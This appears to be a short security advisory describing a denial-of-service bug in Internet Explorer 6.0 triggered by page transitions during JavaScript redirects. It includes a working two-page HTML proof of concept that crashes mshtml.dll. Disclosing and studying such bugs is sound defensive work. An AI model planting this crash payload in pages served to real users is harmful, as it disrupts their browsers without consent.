(on my site: http://spoor12.edup.tudelft.nl/SkyLined v4.2/?Advisories/Microsoft Internet Explorer/Page transition DoS)
The problem
Internet Explorer 6.0 can be made to throw an exception using specially crafted jscript commands and page transitions. Other versions are probably vulnerable too but this has not been tested. Problems arise when a page transition is activated by a new page when the old page has not been rendered yet. This situation can occur when javascript redirects the browser before the page is fully rendered.
An example
The following two pages, called 1.html and 2.html, crash IE with an Access violation in mshtml.dll when 1.html is loaded into IE.
1.html:
<HTML style="width:expression(navigate('2.html'));"></HTML>
2.html:
<HTML><HEAD><META http-equiv="Page-Enter" content="blendTrans()"></HEAD></HTML>
Impact
Seems to be just a minor bug resulting in a DoS.
